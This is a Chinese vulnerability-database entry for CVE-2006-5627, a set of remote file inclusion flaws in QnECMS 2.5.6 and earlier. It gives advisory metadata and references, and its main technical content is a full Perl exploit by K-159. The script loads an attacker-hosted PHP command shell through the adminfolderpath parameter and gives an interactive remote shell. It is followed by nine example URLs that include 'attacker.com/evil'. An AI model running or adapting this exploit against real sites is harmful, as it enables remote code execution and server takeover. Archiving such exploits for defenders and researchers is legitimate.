QnECMS 多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111448 漏洞类型 输入验证
发布时间 2006-10-30 更新时间 2006-11-02
CVE编号 CVE-2006-5627 CNNVD-ID CNNVD-200610-532
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2681
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-532
|漏洞详情
QnECMS2.5.6及之前的版本存在多个PHP远程文件包含漏洞。远程攻击者可以借助:admin/include/目录下:(1)headerscripts.php,(2)footerhome.php和(3)footermain.php;(4)photogallery/headerscripts.phpadminfolderpath参数包含的URL,执行任意PHP代码;templates/目录下:(5)footerhome.php,(6)footermain.php,(7)headermain.php,(8)sitemapfooter.php和(9)sitemapheader.php的adminfolderpath参数包含的URL,执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
##
# QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit
# Bug Found & code By K-159 
##
# echo.or.id (c) 2006
# 
##
# usage:
# perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>
#
# perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc
# 
# Contact: www.echo.or.id #e-c-h-o @irc.dal.net
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'admin/include/headerscripts.php?adminfolderpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[Ã..Ã.ª]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[Ã..Ã.ª]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to QnECMs ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by K-159 \r\n";
 print "                    www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n";
 print "============================================================================\r\n";
 exit();
 }

# http://www.target.com/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil?
# http://www.target.com/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil?

# milw0rm.com [2006-10-30]
|参考资料

来源:MILW0RM
名称:2681
链接:http://www.milw0rm.com/exploits/2681
来源:VUPEN
名称:ADV-2006-4258
链接:http://www.frsirt.com/english/advisories/2006/4258
来源:SECUNIA
名称:22623
链接:http://secunia.com/advisories/22623
来源:XF
名称:qnecms-adminfolderpath-file-include(29871)
链接:http://xforce.iss.net/xforce/xfdb/29871
来源:BID
名称:20801
链接:http://www.securityfocus.com/bid/20801
来源:BUGTRAQ
名称:20061122Re:[ECHO_ADV_53$2006]QnECMS<=2.5.6(adminfolderpath)RemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/452356/100/0/threaded
来源:BUGTRAQ
名称:20061030[ECHO_ADV_53$2006]QnECMS<=2.5.6(adminfolderpath)RemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/450056/100/0/threaded
来源:OSVDB
名称:30125
链接:http://www.osvdb.org/30125
来源:OSVDB
名称:30124
链接:http://www.osvdb.org/30124
来源:OSVDB
名称:30123
链接:http://www.osvdb.org/30123
来源:OSVDB
名称:30122
链接:http://www.osvdb.org/30122
来源:OSVDB
名称:30121
链接:http://www.osvdb.org/30121
来源:OSVDB
名称:30120
链接:http://www.osvdb.org/30120
来源: